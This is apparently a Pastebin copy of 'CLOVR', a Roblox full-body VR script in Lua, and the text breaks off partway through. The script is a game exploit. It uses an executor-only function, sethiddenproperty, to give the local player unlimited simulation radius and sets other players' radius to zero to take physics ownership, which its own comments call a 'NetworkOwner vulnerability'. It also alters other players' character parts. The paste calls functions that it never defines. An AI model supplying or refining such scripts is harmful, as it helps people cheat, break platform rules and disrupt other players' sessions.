Advertisement
1e_0

Untitled

Aug 19th, 2020 (edited)
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.14 KB | None | 0 0
  1. -- CLOVR - FE FULL-BODY VR SCRIPT
  2.  
  3. -- | made by 0866 and Abacaxl
  4. -- | tysm unverified
  5. -- | Fixed By Gabriellogin#7714
  6.  
  7. --RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work. Feel free to change the other settings though.
  8. spawn(function()
  9. while wait() do
  10. sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
  11. sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
  12. end
  13. end)
  14.  
  15. --|| Settings:
  16. local StudsOffset = 0 -- Character height (negative if you're too high)
  17. local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)
  18. local AnchorCharacter = true -- Prevent physics from causing inconsistencies
  19. local HideCharacter = false -- Hide character on a platform
  20. local NoCollision = true -- Disable player collision
  21. local ChatEnabled = true -- See chat on your left hand in-game
  22. local ChatLocalRange = 75 -- Local chat range
  23. local ViewportEnabled = true -- View nearby players in a frame
  24. local ViewportRange = 30 -- Maximum distance players are updated
  25. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)
  26. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)
  27. local AutoRun = false -- Run script on respawn
  28. local AutoRespawn = true -- Kill your real body when your virtual body dies
  29. local WearAllAccessories = false -- Use all leftover hats for the head
  30. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands
  31. local AccessorySettings = {
  32. LeftArm = "";
  33. RightArm = "";
  34. LeftLeg = "";
  35. RightLeg = "";
  36. Torso = "";
  37. Head = true;
  38. BlockArms = true;
  39. BlockLegs = true;
  40. BlockTorso = true;
  41. LimbOffset = CFrame.Angles(math.rad(90), 0, 0);
  42. }
  43. local FootPlacementSettings = {
  44. RightOffset = Vector3.new(.5, 0, 0),
  45. LeftOffset = Vector3.new(-.5, 0, 0),
  46. }
  47. --|| Script:
  48. local Script = nil;
  49. Script = function()
  50. --[[
  51. Variables
  52. --]]
  53. local Players = game:GetService("Players")
  54. local Client = Players.LocalPlayer
  55. local Character = Client.Character or Client.CharacterAdded:Wait()
  56. local WeldBase = Character:WaitForChild("HumanoidRootPart")
  57. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase
  58. local Backpack = Client:WaitForChild("Backpack")
  59. local Mouse = Client:GetMouse()
  60. local Camera = workspace.CurrentCamera
  61. local VRService = game:GetService("VRService")
  62. local VRReady = VRService.VREnabled
  63. local UserInputService = game:GetService("UserInputService")
  64. local RunService = game:GetService("RunService")
  65. local HttpService = game:GetService("HttpService")
  66. local StarterGui = game:GetService("StarterGui")
  67. local HeadAccessories = {};
  68. local UsedAccessories = {};
  69. local Pointer = false;
  70. local Point1 = false;
  71. local Point2 = false;
  72. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]
  73. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]
  74. local Anchor = Instance.new("Part")
  75. Anchor.Anchored = true
  76. Anchor.Transparency = 1
  77. Anchor.CanCollide = false
  78. Anchor.Parent = workspace
  79. if RagdollEnabled then
  80. print("RagdollEnabled, thank you for using CLOVR!")
  81. local NetworkAccess = coroutine.create(function()
  82. settings().Physics.AllowSleep = false
  83. while true do game:GetService("RunService").RenderStepped:Wait()
  84. for _,Players in next, game:GetService("Players"):GetChildren() do
  85. if Players ~= game:GetService("Players").LocalPlayer then
  86. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end
  87. sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
  88. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)
  89. coroutine.resume(NetworkAccess)
  90. end
  91. --[[
  92. Character Protection
  93. --]]
  94. local CharacterCFrame = WeldBase.CFrame
  95. if not RagdollEnabled then
  96. Character.Humanoid.AnimationPlayed:Connect(function(Animation)
  97. Animation:Stop()
  98. end)
  99. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do
  100. Track:Stop()
  101. end
  102. if HideCharacter then
  103. local Platform = Instance.new("Part")
  104. Platform.Anchored = true
  105. Platform.Size = Vector3.new(100, 5, 100)
  106. Platform.CFrame = CFrame.new(0, 10000, 0)
  107. Platform.Transparency = 1
  108. Platform.Parent = workspace
  109. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))
  110. wait(.5)
  111. end
  112. if AnchorCharacter then
  113. for _, Part in pairs(Character:GetChildren()) do
  114. if Part:IsA("BasePart") then
  115. Part.Anchored = true
  116. end
  117. end
  118. end
  119. end
  120. --[[
  121. Functions
  122. --]]
  123. function Tween(Object, Style, Direction, Time, Goal)
  124. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])
  125. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)
  126. tween.Completed:Connect(function()
  127. tween:Destroy()
  128. end)
  129. tween:Play()
  130. return tween
  131. end
  132. local function GetMotorForLimb(Limb)
  133. for _, Motor in next, Character:GetDescendants() do
  134. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
  135. return Motor
  136. end
  137. end
  138. end
  139. local function CreateAlignment(Limb, Part0)
  140. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)
  141. local Attachment1 = Instance.new("Attachment", Limb)
  142. local Orientation = Instance.new("AlignOrientation")
  143. local Position = Instance.new("AlignPosition")
  144. Orientation.Attachment0 = Attachment1
  145. Orientation.Attachment1 = Attachment0
  146. Orientation.RigidityEnabled = false
  147. Orientation.MaxTorque = 20000
  148. Orientation.Responsiveness = 40
  149. Orientation.Parent = Character.HumanoidRootPart
  150. Position.Attachment0 = Attachment1
  151. Position.Attachment1 = Attachment0
  152. Position.RigidityEnabled = false
  153. Position.MaxForce = 40000
  154. Position.Responsiveness = 40
  155. Position.Parent = Character.HumanoidRootPart
  156. Limb.Massless = false
  157. local Motor = GetMotorForLimb(Limb)
  158. if Motor then
  159. Motor:Destroy()
  160. end
  161. return function(CF, Local)
  162. if Local then
  163. Attachment0.CFrame = CF
  164. else
  165. Attachment0.WorldCFrame = CF
  166. end
  167. end;
  168. end
  169. local function GetExtraTool()
  170. for _, Tool in next, Character:GetChildren() do
  171. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then
  172. return Tool
  173. end
  174. end
  175. end
  176. local function GetGripForHandle(Handle)
  177. for _, Weld in next, Character:GetDescendants() do
  178. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  179. return Weld
  180. end
  181. end
  182. wait(.2)
  183. for _, Weld in next, Character:GetDescendants() do
  184. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
  185. return Weld
  186. end
  187. end
  188. end
  189. local function CreateRightGrip(Handle)
  190. local RightGrip = Instance.new("Weld")
  191. RightGrip.Name = "RightGrip"
  192. RightGrip.Part1 = Handle
  193. RightGrip.Part0 = WeldBase
  194. RightGrip.Parent = WeldBase
  195. return RightGrip
  196. end
  197. local function CreateAccessory(Accessory, DeleteMeshes)
  198. if not Accessory then
  199. return
  200. end
  201. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  202. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)
  203. local BasePart = HeadAttachment.Parent
  204. local HatAtt = HatAttachment.CFrame
  205. local HeadAtt = HeadAttachment.CFrame
  206. if DeleteMeshes then
  207. if Accessory.Handle:FindFirstChild("Mesh") then
  208. Accessory.Handle.Mesh:Destroy()
  209. end
  210. end
  211. wait()
  212. local Handle = Accessory:WaitForChild("Handle")
  213. if Handle:FindFirstChildWhichIsA("Weld", true) then
  214. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
  215. Handle:BreakJoints()
  216. else
  217. Handle:BreakJoints()
  218. end
  219. Handle.Massless = true
  220. Handle.Transparency = 0.5
  221. UsedAccessories[Accessory] = true
  222. local RightGrip = CreateRightGrip(Handle)
  223. wait()
  224. for _, Object in pairs(Handle:GetDescendants()) do
  225. if not Object:IsA("BasePart") then
  226. pcall(function()
  227. Object.Transparency = 1
  228. end)
  229. pcall(function()
  230. Object.Enabled = false
  231. end)
  232. end
  233. end
  234. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;
  235. end
  236. local function GetHeadAccessories()
  237. for _, Accessory in next, Character:GetChildren() do
  238. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then
  239. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)
  240. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})
  241. do
  242. Handle.Transparency = 1
  243. end
  244. if not WearAllAccessories then
  245. break
  246. end
  247. end
  248. end
  249. end
  250. --[[
  251. VR Replication Setup
  252. --]]
  253. if not RagdollEnabled then
  254. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)
  255. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)
  256. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)
  257. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)
  258. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)
  259. GetHeadAccessories()
  260. elseif RagdollEnabled then
  261. if RagdollHeadMovement then
  262. Permadeath()
  263. MoveHead = CreateAlignment(Character["Head"])
  264. end
  265. MoveRightArm = CreateAlignment(Character["Right Arm"])
  266. MoveLeftArm = CreateAlignment(Character["Left Arm"])
  267. MoveRightLeg = CreateAlignment(Character["Right Leg"])
  268. MoveLeftLeg = CreateAlignment(Character["Left Leg"])
  269. MoveTorso = CreateAlignment(Character["Torso"])
  270. MoveRoot = CreateAlignment(Character.HumanoidRootPart)
  271. if RagdollHeadMovement then
  272. for _, Accessory in next, Character:GetChildren() do
  273. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then
  274. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
  275. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)
  276. local Orientation = Instance.new("AlignOrientation")
  277. local Position = Instance.new("AlignPosition")
  278. print(Attachment1, Attachment0, Accessory)
  279. Orientation.Attachment0 = Attachment1
  280. Orientation.Attachment1 = Attachment0
  281. Orientation.RigidityEnabled = false
  282. Orientation.ReactionTorqueEnabled = true
  283. Orientation.MaxTorque = 20000
  284. Orientation.Responsiveness = 40
  285. Orientation.Parent = Character.Head
  286. Position.Attachment0 = Attachment1
  287. Position.Attachment1 = Attachment0
  288. Position.RigidityEnabled = false
  289. Position.ReactionForceEnabled = true
  290. Position.MaxForce = 40000
  291. Position.Responsiveness = 40
  292. Position.Parent = Character.Head
  293. end
  294. end
  295. end
  296. end
  297. --[[
  298. Movement
  299. --]]
  300. VirtualRig.Name = "VirtualRig"
  301. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p
  302. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p
  303. VirtualRig.Parent = workspace
  304. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)
  305. VirtualRig.Humanoid.Health = 0
  306. VirtualRig:BreakJoints()
  307. --
  308. VirtualBody.Parent = workspace
  309. VirtualBody.Name = "VirtualBody"
  310. VirtualBody.Humanoid.WalkSpeed = 24
  311. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)
  312. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)
  313. VirtualBody.Humanoid.Died:Connect(function()
  314. print("Virtual death")
  315. if AutoRespawn then
  316. Character:BreakJoints()
  317. if RagdollHeadMovement and RagdollEnabled then
  318. Network:Unclaim()
  319. Respawn()
  320. end
  321. end
  322. end)
  323. --
  324. Camera.CameraSubject = VirtualBody.Humanoid
  325. Character.Humanoid.WalkSpeed = 0
  326. Character.Humanoid.JumpPower = 1
  327. for _, Part in next, VirtualBody:GetChildren() do
  328. if Part:IsA("BasePart") then
  329. Part.Transparency = 1
  330. end
  331. end
  332. for _, Part in next, VirtualRig:GetChildren() do
  333. if Part:IsA("BasePart") then
  334. Part.Transparency = 1
  335. end
  336. end
  337. if not VRReady then
  338. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true
  339. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true
  340. end
  341. local OnMoving = RunService.Stepped:Connect(function()
  342. local Direction = Character.Humanoid.MoveDirection
  343. local Start = VirtualBody.HumanoidRootPart.Position
  344. local Point = Start + Direction * 6
  345. VirtualBody.Humanoid:MoveTo(Point)
  346. end)
  347. Character.Humanoid.Jumping:Connect(function()
  348. VirtualBody.Humanoid.Jump = true
  349. end)
  350. UserInputService.JumpRequest:Connect(function()
  351. VirtualBody.Humanoid.Jump = true
  352. end)
  353. --[[
  354. VR Replication
  355. --]]
  356. if RagdollEnabled then
  357. for _, Part in pairs(Character:GetDescendants()) do
  358. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then
  359. Part.LocalTransparencyModifier = 1
  360. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then
  361. Part.LocalTransparencyModifier = 0.5
  362. elseif Part:IsA("BasePart") and Part.Name == "Head" then
  363. Part.LocalTransparencyModifier = 1
  364. end
  365. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then
  366. pcall(function()
  367. Part.Transparency = 1
  368. end)
  369. pcall(function()
  370. Part.Enabled = false
  371. end)
  372. end
  373. end
  374. end
  375. local FootUpdateDebounce = tick()
  376. local function FloorRay(Part, Distance)
  377. local Position = Part.CFrame.p
  378. local Target = Position - Vector3.new(0, Distance, 0)
  379. local Line = Ray.new(Position, (Target - Position).Unit * Distance)
  380. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})
  381. if FloorPart then
  382. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude
  383. else
  384. return nil, Target, Vector3.new(), Distance
  385. end
  386. end
  387. local function Flatten(CF)
  388. local X,Y,Z = CF.X,CF.Y,CF.Z
  389. local LX,LZ = CF.lookVector.X,CF.lookVector.Z
  390. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)
  391. end
  392. local FootTurn = 1
  393. local function FootReady(Foot, Target)
  394. local MaxDist
  395. if Character.Humanoid.MoveDirection.Magnitude > 0 then
  396. MaxDist = .5
  397. else
  398. MaxDist = 1
  399. end
  400. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist
  401. local PastTick = tick() - FootUpdateDebounce >= 2
  402. if PastThreshold or PastTick then
  403. FootUpdateDebounce = tick()
  404. end
  405. return
  406. PastThreshold
  407. or
  408. PastTick
  409. end
  410. local function FootYield()
  411. local RightFooting = VirtualRig.RightFoot.BodyPosition
  412. local LeftFooting = VirtualRig.LeftFoot.BodyPosition
  413. local LowerTorso = VirtualRig.LowerTorso
  414. local Yield = tick()
  415. repeat
  416. RunService.Stepped:Wait()
  417. if
  418. (LowerTorso.Position - RightFooting.Position).Y > 4
  419. or
  420. (LowerTorso.Position - LeftFooting.Position).Y > 4
  421. or
  422. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  423. or
  424. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  425. then
  426. break
  427. end
  428. until tick() - Yield >= .17
  429. end
  430. local function UpdateFooting()
  431. if not VirtualRig:FindFirstChild("LowerTorso") then
  432. wait()
  433. return
  434. end
  435. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)
  436. Dist = math.clamp(Dist, 0, 5)
  437. local FootTarget =
  438. VirtualRig.LowerTorso.CFrame *
  439. CFrame.new(FootPlacementSettings.RightOffset) -
  440. Vector3.new(0, Dist, 0) +
  441. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  442. if FootReady(VirtualRig.RightFoot, FootTarget) then
  443. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p
  444. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  445. end
  446. FootYield()
  447. local FootTarget =
  448. VirtualRig.LowerTorso.CFrame *
  449. CFrame.new(FootPlacementSettings.LeftOffset) -
  450. Vector3.new(0, Dist, 0) +
  451. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
  452. if FootReady(VirtualRig.LeftFoot, FootTarget) then
  453. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p
  454. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
  455. end
  456. end
  457. local function UpdateTorsoPosition()
  458. if not RagdollEnabled then
  459. if TorsoHandle then
  460. local Positioning = VirtualRig.UpperTorso.CFrame
  461. if not TorsoGrip or not TorsoGrip.Parent then
  462. TorsoGrip = CreateRightGrip(TorsoHandle)
  463. end
  464. local Parent = TorsoGrip.Parent
  465. TorsoGrip.C1 = CFrame.new()
  466. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)
  467. TorsoGrip.Parent = nil
  468. TorsoGrip.Parent = Parent
  469. end
  470. else
  471. local Positioning = VirtualRig.UpperTorso.CFrame
  472. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))
  473. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))
  474. end
  475. end
  476. local function UpdateLegPosition()
  477. if not RagdollEnabled then
  478. if RightHipHandle then
  479. local Positioning =
  480. VirtualRig.RightLowerLeg.CFrame
  481. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  482. + Vector3.new(0, 0.5, 0)
  483. if not RightHipHandle or not RightHipHandle.Parent then
  484. RightLegGrip = CreateRightGrip(RightHipHandle)
  485. end
  486. local Parent = RightLegGrip.Parent
  487. RightLegGrip.C1 = CFrame.new()
  488. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  489. RightLegGrip.Parent = nil
  490. RightLegGrip.Parent = Parent
  491. end
  492. if LeftHipHandle then
  493. local Positioning =
  494. VirtualRig.LeftLowerLeg.CFrame
  495. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  496. + Vector3.new(0, 0.5, 0)
  497. if not LeftLegGrip or not LeftLegGrip.Parent then
  498. LeftLegGrip = CreateRightGrip(LeftHipHandle)
  499. end
  500. local Parent = LeftLegGrip.Parent
  501. LeftLegGrip.C1 = CFrame.new()
  502. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
  503. LeftLegGrip.Parent = nil
  504. LeftLegGrip.Parent = Parent
  505. end
  506. else
  507. do
  508. local Positioning =
  509. VirtualRig.RightLowerLeg.CFrame
  510. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
  511. * CFrame.Angles(0, math.rad(180), 0)
  512. + Vector3.new(0, 0.5, 0)
  513. MoveRightLeg(Positioning)
  514. end
  515. do
  516. local Positioning =
  517. VirtualRig.LeftLowerLeg.CFrame
  518. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
  519. * CFrame.Angles(0, math.rad(180), 0)
  520. + Vector3.new(0, 0.5, 0)
  521. MoveLeftLeg(Positioning)
  522. end
  523. end
  524. end
  525. warn("VRReady is", VRReady)
  526. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)
  527. local Positioning = Camera.CFrame * Positioning
  528. if not IgnoreTorso then
  529. UpdateTorsoPosition()
  530. UpdateLegPosition()
  531. end
  532. if not RagdollEnabled then
  533. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then
  534. for _, Table in next, HeadAccessories do
  535. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)
  536. local LocalPositioning = Positioning
  537. if not RightGrip or not RightGrip.Parent then
  538. RightGrip = CreateRightGrip(Handle)
  539. Table[2] = RightGrip
  540. end
  541. local Parent = RightGrip.Parent
  542. if BasePart then
  543. LocalPositioning = BasePart.CFrame * HeadAtt
  544. end
  545. RightGrip.C1 = HatAtt
  546. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)
  547. RightGrip.Parent = nil
  548. RightGrip.Parent = Parent
  549. end
  550. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then
  551. local HandPosition = Positioning
  552. local LocalPositioning = Positioning
  553. if not RightHandGrip or not RightHandGrip.Parent then
  554. RightHandGrip = CreateRightGrip(RightHandle)
  555. end
  556. if AccurateHandPosition then
  557. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  558. end
  559. if not VRReady then
  560. local HeadRotation = Camera.CFrame - Camera.CFrame.p
  561. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  562. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)
  563. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)
  564. if Point2 then
  565. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  566. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  567. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  568. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  569. end
  570. elseif AccurateHandPosition then
  571. LocalPositioning = HandPosition
  572. end
  573. local Parent = RightHandGrip.Parent
  574. RightHandGrip.C1 = CFrame.new()
  575. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  576. RightHandGrip.Parent = nil
  577. RightHandGrip.Parent = Parent
  578. --
  579. local EquippedTool = GetExtraTool()
  580. if EquippedTool and EquippedTool:FindFirstChild("Handle") then
  581. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)
  582. local Parent = EquippedGrip.Parent
  583. local ArmBaseCFrame = ArmBase.CFrame
  584. if ArmBase.Name == "Right Arm" then
  585. ArmBaseCFrame = ArmBaseCFrame
  586. end
  587. EquippedGrip.C1 = EquippedTool.Grip
  588. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
  589. EquippedGrip.Parent = nil
  590. EquippedGrip.Parent = Parent
  591. end
  592. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then
  593. local HandPosition = Positioning
  594. if not LeftHandGrip or not LeftHandGrip.Parent then
  595. LeftHandGrip = CreateRightGrip(LeftHandle)
  596. end
  597. if AccurateHandPosition then
  598. HandPosition = HandPosition * CFrame.new(0, 0, 1)
  599. end
  600. if not VRReady then
  601. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
  602. --warn("Setting HandPosition to hands")
  603. if Point1 then
  604. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  605. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  606. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  607. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  608. end
  609. end
  610. local Parent = LeftHandGrip.Parent
  611. LeftHandGrip.C1 = CFrame.new()
  612. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
  613. LeftHandGrip.Parent = nil
  614. LeftHandGrip.Parent = Parent
  615. end
  616. end
  617. if RagdollEnabled then
  618. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then
  619. MoveHead(Positioning)
  620. elseif UserCFrame == Enum.UserCFrame.RightHand then
  621. local Positioning = Positioning
  622. if not VRReady then
  623. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)
  624. elseif AccurateHandPosition then
  625. Positioning = Positioning * CFrame.new(0, 0, 1)
  626. end
  627. if VRReady then
  628. Positioning = Positioning * AccessorySettings.LimbOffset
  629. end
  630. MoveRightArm(Positioning)
  631. if Point2 then
  632. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  633. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  634. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  635. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  636. end
  637. elseif UserCFrame == Enum.UserCFrame.LeftHand then
  638. local Positioning = Positioning
  639. if not VRReady then
  640. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)
  641. elseif AccurateHandPosition then
  642. Positioning = Positioning * CFrame.new(0, 0, 1)
  643. end
  644. if VRReady then
  645. Positioning = Positioning * AccessorySettings.LimbOffset
  646. end
  647. MoveLeftArm(Positioning)
  648. if Point1 then
  649. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  650. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
  651. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
  652. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
  653. end
  654. end
  655. end
  656. if UserCFrame == Enum.UserCFrame.Head then
  657. VirtualRig.Head.CFrame = Positioning
  658. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then
  659. VirtualRig.RightHand.CFrame = Positioning
  660. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then
  661. VirtualRig.LeftHand.CFrame = Positioning
  662. end
  663. if not VRReady and VirtualRig.LeftHand.Anchored then
  664. VirtualRig.RightHand.Anchored = false
  665. VirtualRig.LeftHand.Anchored = false
  666. elseif VRReady and not VirtualRig.LeftHand.Anchored then
  667. VirtualRig.RightHand.Anchored = true
  668. VirtualRig.LeftHand.Anchored = true
  669. end
  670. end
  671. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)
  672. local OnStepped = RunService.Stepped:Connect(function()
  673. for _, Part in pairs(VirtualRig:GetChildren()) do
  674. if Part:IsA("BasePart") then
  675. Part.CanCollide = false
  676. end
  677. end
  678. if RagdollEnabled then
  679. for _, Part in pairs(Character:GetChildren()) do
  680. if Part:IsA("BasePart") then
  681. Part.CanCollide = false
  682. end
  683. end
  684. end
  685. if NoCollision then
  686. for _, Player in pairs(Players:GetPlayers()) do
  687. if Player ~= Client and Player.Character then
  688. local Descendants = Player.Character:GetDescendants()
  689. for i = 1, #Descendants do
  690. local Part = Descendants[i]
  691. if Part:IsA("BasePart") then
  692. Part.CanCollide = false
  693. Part.Velocity = Vector3.new()
  694. Part.RotVelocity = Vector3.new()
  695. end
  696. end
  697. end
  698. end
  699. end
  700. end)
  701. local OnRenderStepped = RunService.Stepped:Connect(function()
  702. Camera.CameraSubject = VirtualBody.Humanoid
  703. if RagdollEnabled then
  704. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame
  705. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
  706. end
  707. if not VRReady then
  708. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))
  709. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)
  710. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)
  711. end
  712. end)
  713. spawn(function()
  714. while Character and Character.Parent do
  715. FootYield()
  716. UpdateFooting()
  717. end
  718. end)
  719. --[[
  720. Non-VR Support + VR Mechanics
  721. --]]
  722. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  723. if not Processed then
  724. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  725. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  726. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)
  727. })
  728. end
  729. if Input.KeyCode == Enum.KeyCode.X then
  730. if RagdollEnabled and RagdollHeadMovement then
  731. Network:Unclaim()
  732. Respawn()
  733. end
  734. end
  735. if Input.KeyCode == Enum.KeyCode.C then
  736. VirtualBody:MoveTo(Mouse.Hit.p)
  737. VirtualRig:MoveTo(Mouse.Hit.p)
  738. end
  739. end
